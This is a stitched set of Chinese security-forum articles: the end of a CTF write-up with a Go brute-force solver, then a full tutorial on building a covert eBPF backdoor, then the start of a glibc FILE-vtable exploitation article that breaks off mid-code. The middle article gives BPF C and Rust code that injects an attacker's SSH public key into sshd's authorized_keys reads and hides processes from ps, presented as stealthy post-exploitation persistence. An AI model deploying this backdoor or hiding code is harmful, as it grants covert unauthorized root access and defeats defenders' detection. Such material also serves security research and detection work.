"sync"
)
func Float64frombytes(bytes []byte) float64 {
bits := binary.LittleEndian.Uint64(bytes)
return math.Float64frombits(bits)
}
func Equation1(src float64) bool {
ans := 149.2*src + src*-27.6*src - 129.0
return -0.00003 <= ans && ans <= 0.00003
}
func Equation2(src float64) bool {
ans := src*-39.6*src + 59.2*src + 37.8
return -0.00003 <= ans && ans <= 0.00003
}
func main() {
wg := sync.WaitGroup{}
var a uint64
runtime.GOMAXPROCS(runtime.NumCPU())
eq1Solves := make([][]byte, 0)
eq2Solves := make([][]byte, 0)
for a = 0x0; a <= 0xffffffff; a++ {
tA := a << 32
f := math.Float64frombits(tA)
wg.Add(1)
go func() {
tmp := make([]byte, 8)
if Equation1(f) {
binary.LittleEndian.PutUint64(tmp, tA)
fmt.Print("1st equation solve: ")
fmt.Println(tA)
eq1Solves = append(eq1Solves, tmp)
} else if Equation2(f) {
binary.LittleEndian.PutUint64(tmp, tA)
fmt.Print("2nd equation solve: ")
fmt.Println(tA)
eq2Solves = append(eq2Solves, tmp)
}
wg.Done()
}()
}
wg.Wait()
fmt.Println(eq1Solves)
fmt.Println(eq2Solves)
}
* 跑出来之后根据题目中的其他限制条件，如大小关系，解出来值的范围可以确定唯一的 flag
* `flag{454af13f-f84c-1140-1ee4-debf58a4ff3f}` | 社区文章 |
# 如何借助eBPF打造隐蔽的后门
## eBPF技术简介
linux内核本质上是内核驱动的，下图表现了这一过程：
图片来自Cilium 项目的创始人和核心开发者在 2019 年的一个技术分享 [How to Make Linux Microservice-Aware
with Cilium and eBPF](https://www.infoq.com/presentations/linux-cilium-ebpf)
* 在图中最上面，有进程进行系统调用，它们会连接到其他应用，写数据到磁盘，读写 socket，请求定时器等等。这些都是事件驱动的。这些过程都是系统调用。
* 在图最下面，是硬件层。这些可以是真实的硬件，也可以是虚拟的硬件，它们会处理中断事 件，例如：“嗨，我收到了一个网络包”，“嗨，你在这个设备上请求的数据现在可以读了”， 等等。可以说，内核所作的一切事情都是事件驱动的。
* 在图中间，是 12 million 行巨型单体应用（Linux Kernel）的代码，这些代码处理各种事件。
### eBPF为什么会成为我们的好帮手呢？
因为BPF 给我们提供了 **在这些事件发生时运行指定的eBPF程序** 的能力。
eBPF
程序并不像常规的线程那样，启动后就一直运行在那里，它需要事件触发后才会执行。这些事件包括系统调用、内核跟踪点、内核函数和用户态函数的调用退出、网络事件，等等。借助于强大的内核态插桩（kprobe）和用户态插桩（uprobe），eBPF
程序几乎可以在内核和应用的任意位置进行插桩。
例如，我们可以在以下事件发生时运行我们的 BPF 程序：
* 应用发起 `read`/`write`/`connect` 等系统调用
* TCP 发生重传
* 网络包达到网卡
这很类似hook系统函数的行为，我们知道hook系统函数修改原有逻辑很容易会造成系统崩溃，那么 Linux 内核是如何实现 eBPF 程序的安全和稳定的呢？
首先，ebpf程序并不是传统意义上的一个ELF执行程序，而是一段BPF字节码，这段字节码会交给内核的ebpf虚拟机。比如我们可以通过tcpdump
生成一段对应过滤规则的字节码
> sudo tcpdump -i ens192 port 22 -ddd
24
40 0 0 12
21 0 8 34525
48 0 0 20
21 2 0 132
21 1 0 6
21 0 17 17
40 0 0 54
21 14 0 22
40 0 0 56
21 12 13 22
21 0 12 2048
48 0 0 23
21 2 0 132
21 1 0 6
21 0 8 17
40 0 0 20
69 6 0 8191
177 0 0 14
72 0 0 14
21 2 0 22
72 0 0 16
21 0 1 22
6 0 0 262144
6 0 0 0
内核在接受 BPF 字节码之前，会首先通过验证器对字节码进行校验，只有校验通过的 BPF
1. 只有特权进程才可以执行 bpf 系统调用；
2. BPF 程序不能包含无限循环；
3. BPF 程序不能导致内核崩溃；
4. BPF 程序必须在有限时间内完成。
5. eBPF 程序不能随意调用内核函数，只能调用在 API 中定义的辅助函数；
6. BPF 程序可以利用 BPF 映射（map）进行存储，BPF 程序收集内核运行状态存储在映射中，用户程序再从映射中读出这些状态。eBPF 程序栈空间最多只有 512 字节，想要更大的存储，就必须要借助映射存储；
安全校验后 eBPF 字节码将通过即时编译器（JIT，Just-In-Time
Compiler）编译成为原生机器码，提供近乎内核本地代码的执行效率，并挂载到具体的 hook 点上。用户态程序与 eBPF 程序间通过常驻内存的 eBPF
Map 结构进行双向通信，每当特定的事件发生时，eBPF 程序可以将采集的统计信息通过 Map
结构传递给上层用户态的应用程序，进行进一步数据处理与分析。下图具体的展现了这一过程
为了确保在内核中安全地执行，eBPF 还通过限制了能调用的指令集。这些指令集远不足以模拟完整的计算机。为了更高效地与内核进行交互，eBPF 指令有意采用了
C 调用约定，其提供的辅助函数可以在 C 语言中直接调用，这也方便了我们开发eBPF程序，通常我们借助 LLVM 把编写的 eBPF 程序转换为 BPF
字节码，然后再通过 bpf 系统调用提交给内核执行。
下面，我们将通过实际开发来感受eBPF给安全人员提供的便利。
## SSHD_BACKDOOR
我们知道，当用户在连接到远程的ssh服务器并提供非对称密钥时，远程服务器sshd会打开对应用户目录下的 `~/.ssh/authorized_keys`
验证用户是否可以通过对应的密钥登陆。
因此，我们的目标很简单：就是让sshd打开`~/.ssh/authorized_keys` 读到的公钥文件夹中含有我们的公钥信息，这样我们就可以认证登陆了。
其过程可以简化为如下C语言代码
char buf [4096] = {0x00};
int fd = open("/root/.ssh/authorized_keys", O_RDONLY);
if (fd < 0) {
printf("ERROR OPEN FILE");
}
memset(buf, 0 , sizeof(buf));
if (read(fd, &buf, 4096) > 0) {
printf("%s", buf);
}
close(fd);
return 0;
我们很容易可以想到，hook read函数，将获得的文件内容修改为含有我们公钥的的文件内容。
> sudo bpftrace -lv "tracepoint:syscalls:sys_enter_read"
tracepoint:syscalls:sys_enter_read
int __syscall_nr
unsigned int fd
char * buf
size_t count
我们需要获得buf和count，即写入sshd读取缓存的地址，和对应的长度
> 为什么不直接向fd写？
> 因为bpf只支持有限的函数调用，不能调用write向fd中写
从这里我们也可以看出，如果只是hook这个函数，我们并不知道是哪个程序，打开了哪个文件调用的这个函数，为了进行过滤，我们还需要hook openat
syscall
> sudo bpftrace -lv "tracepoint:syscalls:sys_enter_openat"
tracepoint:syscalls:sys_enter_openat
int __syscall_nr
int dfd
const char * filename
int flags
umode_t mode
这里我们可以拿到filename,通过`/root/.ssh/authorized_keys` 这一打开文件名特征来进行过滤
对应进程，可以通过bpf_helper自带的bpf_get_current_comm函数来获取对应的进程名，这里我们通过sshd进行过滤。
总体来说，流程可以分为三步
1. hook openat syscall,根据文件名和进程名过滤拿到sshd的pid 和打开的 fd (通过exit时的ctx→ret)
2. hook read syscall 根据fd和pid过滤拿到sshd读取key的buf，并通过bpf_probe_write_user修改用户空间内存中的buf
3. hook exit syscal 清理ebpf map中保存的fd和pid，防止破坏其他进程和文件。
### 具体实现
Esonhugh 师傅基于cilium写了一版，为了锻炼自己写ebpf和rust的能力，拿libbpf-rs重写了一版，仓库在<https://github.com/EkiXu/sshd_backdoor> 编译后的程序大小可以达到只有几百k。
bpf的部分是类似的,在enter时检查进程名参数中的文件名
SEC("tp/syscalls/sys_enter_openat")
int handle_openat_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
char comm[TASK_COMM_LEN];
if(bpf_get_current_comm(&comm, TASK_COMM_LEN)) {
return 0;
}
const int target_comm_len = 5;
const char *target_comm = "sshd";
for (int i = 0; i < target_comm_len; i++)
{
if (comm[i] != target_comm[i])
{
return 0;
}
}
char filename[27];
bpf_probe_read_user(&filename, target_file_len, (char *)ctx->args[1]);
for (int i = 0; i < target_file_len; i++)
{
if (filename[i] != target_file[i])
{
return 0;
}
}
unsigned int zero = 0;
bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
return 0;
}
在exit的时候存储对应的返回值fd
SEC("tp/syscalls/sys_exit_openat")
int handle_openat_exit(struct trace_event_raw_sys_exit *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
unsigned int *check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) return 0;
unsigned int fd = (unsigned int)ctx->ret;
bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
return 0;
}
在read enter时存储buff指针参数和大小
SEC("tracepoint/syscalls/sys_enter_read")
int handle_read_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
unsigned int *pfd = (unsigned int *) bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (pfd == 0) return 0;
unsigned int map_fd = *pfd;
unsigned int fd = (unsigned int)ctx->args[0];
if (map_fd != fd) return 0;
long unsigned int buff_addr = ctx->args[1];
size_t size = ctx->args[2];
struct syscall_read_logging data;
data.buffer_addr = buff_addr;
data.calling_size = size;
bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &data, BPF_ANY);
return 0;
}
在read
exit时根据存储的fd，和在enter时拿到的存储buff指针，修改对应的buff指针尾部MAX_PAYLOAD_LEN字节长的空间。（因此需要对应目标文件有那么多空间，否则无法写入，实战中可以向对应文件写入一些空格占位）
SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
...
u8 key = 0;
struct custom_payload *payload = bpf_map_lookup_elem(&map_payload_buffer, &key);
u32 len = payload->payload_len;
long unsigned int new_buff_addr = buff_addr + read_size - MAX_PAYLOAD_LEN;
long ret = bpf_probe_write_user((void *)new_buff_addr, payload->raw_buf, MAX_PAYLOAD_LEN);
...
bpf_map_delete_elem(&map_fds, &pid_tgid);
bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
return 0;
}
#### 关于加载bpf程序
const SRC: &str = "src/bpf/backdoor.bpf.c";
let mut out =
PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR must be set in build script"));
out.push("backdoor.skel.rs");
println!("cargo:rerun-if-changed=src/bpf");
SkeletonBuilder::new()
.source(SRC)
.build_and_generate(&out)
.unwrap();
在build.rs中编译对应的c文件到生成backdoor.skel.rs
fn main() -> Result<(),Error> {
let mut skel_builder = BackdoorSkelBuilder::default();
skel_builder.obj_builder.debug(true);
let open_skel = skel_builder.open()?;
// Begin tracing
let mut skel = open_skel.load()?;
skel.attach()?;
loop {
}
}
通过builder生成对应的skel，调用load和attach进行挂载，当然这里需要loop阻塞一下，不然就直接退出了。
用户态可以监听perfbuf和ringbuffer这两个map，以ringbuffer为例
let mut builder = RingBufferBuilder::new();
builder.add(skel.maps_mut().rb(), rb_handler).expect("Failed to add ringbuf");
let ringbuf = builder.build().expect("Failed to build");
loop {
ringbuf.poll(Duration::from_millis(100))?;
}
rb_handler就是对应的处理函数
也可以修改其他的map，比如这里向map里传入我们自定义的公钥内容
//Replace your pub key here
let val = CustomPayload::new(b"\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC31FcYRWU1GQi6r0jLHwm7Ko9j8WaWFC9Y4RbRjbrRbx22HS/ZWhUr2mKtYR//QxhsP4uMzWOJka+yxxBhTo6GPJboMWrkPMr0R23+cXG2SIub/BeZqNe7qDOadp9Ng/ovzEWtpCQhtkrDSv+98RuHfNCngdpIjPDzf11k+GNNKwGtltO5YmUay/tqVrm8AsnmKhB7Xe0kuNPzHQVTWFB46k6xeWs/0NqHETmYxFznCYxGXYPX7+QMdGPZVvG2MLAxAUN/i6x7oygD6AGYTk9iQyAG/1TTgzSMWVXGC+8ZoSMQCxwNKpVl2Tqf79CmKjo6aTsJOihCtmSMoRRvr9vz9p/KYrSH5pSYbblKQHlYQRqFlaPRsqK13/oRE2cgVu0cU+hMSfMW+COYez0k82S0fck9BdEhU6PLyFby3fs7QHedeKvR6bKGh7kAsTnIbvJNx0VHQ/0X2Tcf0exW8oYFGMq41/aIWfCvjAyHtf66NqbrtIxD11AJjgmf8pgcR80= eki@DUBHE-VM\n");
let key = (0 as u8).to_ne_bytes();
//let val = custom_key;
unsafe {
if let Err(e) = skel.maps_mut().map_payload_buffer().update(&key, plain::as_bytes(&val), MapFlags::ANY){
panic!("{}",e)
}
}
这里的结构推荐用Plain来完成从[u8]到结构的序列化和反序列化，比如我们存储的CustomPayload，可以这么写（注意空间和长度需要固定）
#[derive(Debug, Clone)]
pub struct CustomPayload {
pub raw_buf: [u8; MAX_PAYLOAD_LEN],
pub payload_len: u32,
}
impl CustomPayload {
pub fn new<const A:usize>(buf:&[u8;A])->Self{
CustomPayload {
raw_buf: pad_zeroes(*buf),
payload_len: buf.len() as u32,
}
}
}
unsafe impl Plain for CustomPayload{}
效果如下
## FILE_CLOAK
上面我们通过ebPF实现了一个sshd backdoor。其实它还不够隐蔽，比如这个进程会显示在进程树中，通过ps命令可以很容易的排查出可疑进程。
在linux下，我们排查系统运行的进程实际上是通过访问`/proc`伪文件系统实现的，包括ps命令,我们可以通过strace来查看ps使用的系统调用来验证这一说法。
> strace -e openat ps
...
openat(AT_FDCWD, "/proc/meminfo", O_RDONLY) = 4
openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/4/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/4/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/5/stat", O_RDONLY) = 6
...
那么，很自然的会想到利用上一篇文章中说的，让ps读不到对应的文件就可以使进程不出现在列表中。然而进程对应的是一个目录而非文件，我们可能需要劫持目录下的所有文件。因此，我们不妨换一个思路，通过`getdents`系统调用来篡改目录。现代linux系统使用的调用为`getdents64`，对应的原型和参数结构如下
int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
//其中
struct linux_dirent64 {
u64 d_ino; /* 64-bit inode number */
u64 d_off; /* 64-bit offset to next structure */
unsigned short d_reclen; /* Size of this dirent */
unsigned char d_type; /* File type */
char d_name[]; /* Filename (null-terminated) */ };
我们也可以验证ps中确实使用了这一系统调用
trace -e getdents64 ps
getdents64(5, 0x55e5e2a6d380 /* 324 entries */, 32768) = 8832
PID TTY TIME CMD
46489 pts/17 00:00:01 bash
57392 pts/17 00:00:00 strace
57395 pts/17 00:00:00 ps
getdents64(5, 0x55e5e2a6d380 /* 0 entries */, 32768) = 0
+++ exited with 0 +++
## 隐藏流程
对于正常读取文件：
`linux_dirent64` 结构体在内存的排列是连续的，而且 `sys_getdents64`的第二个参数 dirent 正好指向第一个
`linux_dirent64` 结构体，所以根据上面的信息，我们只要知道 `linux_dirent64` 链表的大小，就能根据
`linux_dirent64->d_reclen`，就能准确从连续的内存中分割出每一块`linux_dirent64`。
那么隐藏的思路就是：
通过修改前一块`linux_dirent64->d_reclen` 为下一块的`d_reclen`+这一块的`d_reclen`
这样读取文件是就会跳过这一部分直接到下一块。
## 具体实现
具体代码也用libbpf-rust实现了一版
<https://github.com/EkiXu/file_cloak>
主要是对`SEC("tracepoint/syscalls/sys_exit_getdents64")`的hook
首先是遍历`linux_dirent64`
结构体，找到对应的目录，这里通过尾调用的方式绕过eBPF对循环的限制，具体来说就是将原来的循环拆分成大小为128的块，一轮循环结束后，记录当前遍历的位置`bpos`，通过bpf_tail_call再次调用这个函数进行遍历，直到找到对应的文件名。
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
{
...
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp = 0;
int pid = pid_tgid >> 32;
short unsigned int d_reclen = 0;
char filename[MAX_FILE_LEN];
unsigned int bpos = 0;
unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
if (pBPOS != 0) {
bpos = *pBPOS;
}
for (int i = 0; i < 128; i ++) {
if (bpos >= total_bytes_read) {
break;
}
dirp = (struct linux_dirent64 *)(buff_addr+bpos);
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
bpf_probe_read_user_str(&filename, sizeof(filename), dirp->d_name);
int j = 0;
for (j = 0; j < file_to_hide_len; j++) {
if (filename[j] != file_to_hide[j]) {
break;
}
}
if (j == file_to_hide_len) {
bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
bpf_map_delete_elem(&map_buffs, &pid_tgid);
bpf_tail_call(ctx, &map_prog_array, PROG_PATCHER);
}
bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
bpos += d_reclen;
}
if (bpos < total_bytes_read) {
bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
bpf_tail_call(ctx, &map_prog_array, PROG_HANDLER);
}
bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
bpf_map_delete_elem(&map_buffs, &pid_tgid);
return 0;
}
找到之后，同样通过尾调用跳转到patch函数，注意，在遍历的过程中我们一直在更新存储之前的文件，当遍历到目标文件时，map里面的文件就是目标之前的文件。此后我们修改长度覆盖目标文件即可。过程如下。
SEC("tracepoint/syscalls/sys_exit_getdents64")
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
{
...
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
short unsigned int d_reclen_previous = 0;
bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
unsigned short d_reclen = 0;
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
...
bpf_map_delete_elem(&map_to_patch, &pid_tgid);
return 0;
}
用户态的实现也是类似的,注意我们可以直接修改bpf字节码中的rodata段来存储我们想要的目标文件名。
open_skel.rodata().file_to_hide_len = target_folder.as_bytes().len() as i32;
open_skel.rodata().file_to_hide[..target_folder.as_bytes().len()].copy_from_slice(target_folder.as_bytes());
最终效果如下
> ps aux |grep listen.py
eki 63504 0.0 0.0 91636 5876 pts/32 Sl+ Feb15 0:00 python listen.py
eki 82405 0.0 0.0 7012 2140 pts/35 S+ 01:33 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py
--- > sudo target/debug/file_cloak 63504
---
> ps aux |grep listen.py
eki 82302 0.0 0.0 7012 2228 pts/35 S+ 01:33 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py
## 总结
在本文中，我们实际上利用eBPF机制实现了两个Gadget：
* 通过劫持openat和read系统调用实现任意程序读取文件内容劫持
* 通过劫持getdents64系统调用实现任意程序列目录劫持
通过这两个Gadget就能实现一个隐蔽的sshd后门。当然也可以开发出更多的玩法。
### 优点和劣势
优点：
* 文件痕迹上足够隐蔽，如果蓝队不查看可疑的bpf进程的话，由于这种方式并不会对磁盘上的文件造成影响，很难检测到添加了公钥，也很难修复。
* 行为痕迹上足够隐蔽，全程的行为都是正常的，攻击者只是正常的使用公钥连接目标服务器。同时后门进程也不会出现在进程树中。
劣势：
* ebpf需要root权限才能执行。因此只能应用于渗透提权后的权限维持。
* 由于ebpf本身的特性，后门程序对目标系统内核版本的要求比较高，无法运行在较低的内核版本上。
## 参考资料
* <https://www.infoq.com/presentations/linux-cilium-ebpf/>
* <https://github.com/Esonhugh/sshd_backdoor>
* <https://github.com/pathtofile/bad-bpf> | 社区文章 |
# 【技术分享】教练！那根本不是IO！——从printf源码看libc的IO
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[anciety](http://bobao.360.cn/member/contribute?uid=2806750221)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前(fei)言(hua)**
****
我们似乎天天都在使用IO，最典型的使用就是printf，scanf，以前我们只知道printf会有格式化字符串漏洞，可是我们并没有怎么深究过IO具体的是怎么回事，以及具体有什么可以攻击的点。
2016 HITCON有一道 house of orange，是一道堪称经典的题目，第一次（或者似乎是第一次？）让我们把攻击的思维往IO
FILE里去考虑，于是我们开始思考libc的虚表的可攻击性，不幸的是，libc的开发人员也很快意识到了这个虚表的问题，在2.24的libc版本中对vtables进行了加固：
2.24 libc更新日志中的一个内容：
[20191] stdio: libio: vtables hardening
于是这个方法慢慢变得困难了起来，还好我们的思路不仅仅是这样……
本文主要从经典的虚表原理开始说起，中间补充一下scanf和printf的原理，最后提到一种较新的（或者是我认为较新的？）思路。
**从虚表开始说起**
****
首先我们来看下经典的（虽然似乎是2016之后才流行起来的） **_IO_FILE_plus** 的虚表攻击方式。
**1. _IO_FILE 与 _IO_FILE_plus**
源码永远是回答心中疑问的好老师，首先来看看关于这两个结构体的源码：
// libio/libio.h _IO_FILE 结构体
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
以及_IO_FILE_plus：
// libio/libioP.h
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
struct _IO_jump_t // 虚表结构体
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
struct _IO_FILE_plus
{
_IO_FILE file; // 就是一个libio.h中的_IO_FILE 结构体
const struct _IO_jump_t *vtable; // 多出一个vtable
};
我们可以看到 **_IO_FILE_plus** 的组成，其实就是一个 **_IO_FILE**
结构体本身再加上一个跳表，从plus这个名称我们也能看出来，其实这个地方是为了兼容C++，对于C++的对象来说，除了数据以外还有方法，方法的实现是会用到跳表的，为了能够兼容，除了
**_IO_FILE** 本身以外，只能再添加一个跳表，然后使用新的结构体来进行兼容。
事实上在libc内部对于FILE结构体就是用 **_IO_FILE_plus**
来进行表示的，但是对于pwn选手来说，只要有函数指针，就有控制执行流的可能，唯一的问题是，用谁的函数指针？
这个其实并不是一个难事，因为每一个文件一定都有3个FILE，也就是以下三个，我想大家已经不能再熟悉他们了：
// libio/libio.h
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
是的，就是stdin,
stdout和stderr，好了，那么这种利用的思路应该就比较明确了：只要我们有办法控制stdin，stdout和stderr的虚表指针，我们就能够在使用到这三个结构体的虚表的时候控制执行流。
不过还有一个小问题，到底在什么时候这些函数指针会被用到？那么让我们继续从输入输出开始说起……
**2. 你不熟悉的scanf和printf**
以下内容源码较长，可能引起不适，请适度观看。为了简单，我们就从printf开始看。首先是printf的入口：
// stdio-common/printf.c
int
__printf (const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
done = vfprintf (stdout, format, arg);
va_end (arg);
return done;
}
直接移交给了 **vfprintf** ，好吧，再来看 **vfprintf** ：
（觉得代码太长的同学可以直接跳到最后看结论）
// stdio-common/vfprintf.c
// 这里好像有一些神奇的地方，我所使用的ubuntu-2.23的libc这里调用的是
// _IO_vfprintf_internal，不过逻辑似乎没有什么区别
// 分析整个printf太恐怖了，我们就看%s和%d的实现好了
// 以下是一开始调用所需要关注的部分
/* The function itself. */
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap)
{
[...]
// 检查参数
ARGCHECK (s, format);
[...]
if (UNBUFFERED_P (s))
/* Use a helper function which will allocate a local temporary buffer
for the stream and then call us again. */
// 调用了buffered_vfprintf
return buffered_vfprintf (s, format, ap);
[...]
}
static int
internal_function
buffered_vfprintf (_IO_FILE *s, const CHAR_T *format,
_IO_va_list args)
{
[...]
/* Initialize helper. */
// 设置一个helper结构，这个结构看后文
helper._put_stream = s;
[...]
// 设置好了helper，跳回去
result = vfprintf (hp, format, args);
[...]
return result
}
// 好了经过helper的设置，我们又跳回来了，
/* The function itself. */
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap)
{
[...]
// 一个大do-while来处理格式化字符串
/* Process whole format string. */
do
{
// 中间的操作非常的繁重
// 主要是处理了h，hh等等各种东西
// 不过格式化字符串本身在这里并不是我们关注的重点，所以我们跳过
[...]
// 这里我们需要关注了，这里是在处理好格式化字符串本身的各种东西之后
// 真正对格式化字符串进行处理，进行输出等等
/* Process current format. */
while (1)
{
// 这里其实就是直接用了process_arg，看来还得继续跟一下
process_arg (((struct printf_spec *) NULL));
process_string_arg (((struct printf_spec *) NULL));
LABEL (form_unknown):
if (spec == L_(''))
{
/* The format string ended before the specifier is complete. */
__set_errno (EINVAL);
done = -1;
goto all_done;
}
/* If we are in the fast loop force entering the complicated
one. */
goto do_positional;
}
[...]
}
// process_arg是个大宏，也非常复杂，还是需要无数简化
// 下面整个是一个宏，所以忽略一些空格和反斜杠的不完整和错误，这样更为方便阅读
#define process_arg(fspec)
// 下面开始处理
/* Start real work. We know about all flags and modifiers and
now process the wanted format specifier. */
LABEL (form_percent):
// 我们只关注％d相关内容，其他类似
[...]
LABEL (form_integer):
// 整数相关的从这里开始
// 设置base为10，意思是10进制
base = 10;
// 根据具体情况，再进行一些处理，之后移交到具体的longlong_number和number进行处理
if (is_longlong)
{
[...]
goto LABEL (longlong_number);
}
else
{
[...]
goto LABEL (number);
}
[...]
// longlong_number和number类似，不重复了
LABEL (number):
// 这里的中间过程最终设置好了string
// 也就是需要输出的字符串
[...]
// 根据是否是负数，使用outchar进行输出字符
if (is_negative)
outchar (L_('-'));
else if (showsign)
outchar (L_('+'));
else if (space)
outchar (L_(' '));
[...]
// 使用outstring把已经设置好的string输出了
outstring (string, workend - string);
break;
// 宏的解释到这里结束
// 宏主要的内容其实也很显然，就是先根据具体的格式化字符串标识符来设置好string，string
// 也就是我们要输出的内容，是一个字符串，之后使用outstring来输出字符串，对于字符则使用
// outchar输出字符
// 现在我们再来看看outchar和outstring
#define outchar(Ch)
do
{
const INT_T outc = (Ch);
// 又使用了PUTC来输出字符
if (PUTC (outc, s) == EOF || done == INT_MAX)
{
done = -1;
goto all_done;
}
++done;
}
while (0)
#define outstring(String, Len)
do
{
assert ((size_t) done <= (size_t) INT_MAX);
// outstring则是使用了PUT来输出字符串
if ((size_t) PUT (s, (String), (Len)) != (size_t) (Len))
{
done = -1;
goto all_done;
}
if (__glibc_unlikely (INT_MAX - done < (Len)))
{
done = -1;
__set_errno (EOVERFLOW);
goto all_done;
}
done += (Len);
}
while (0)
// libio/libioP.h
// 看来我们的任务还没完，再来看看PUTC和PUT
# define PUT(F, S, N) _IO_sputn ((F), (S), (N))
# define PUTC(C, F) _IO_putc_unlocked (C, F)
// 又调用了别的，继续继续
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
// 终于送了一口气，跟了多少个函数都不记得了，不过最终是到点了。
// 这里做的事情就是通过层层移交，最终由跳表中的相应函数来完成
// 不过还有PUTC
// libio/libio.h
#define _IO_putc_unlocked(_ch, _fp)
(_IO_BE ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end, 0)
? __overflow (_fp, (unsigned char) (_ch))
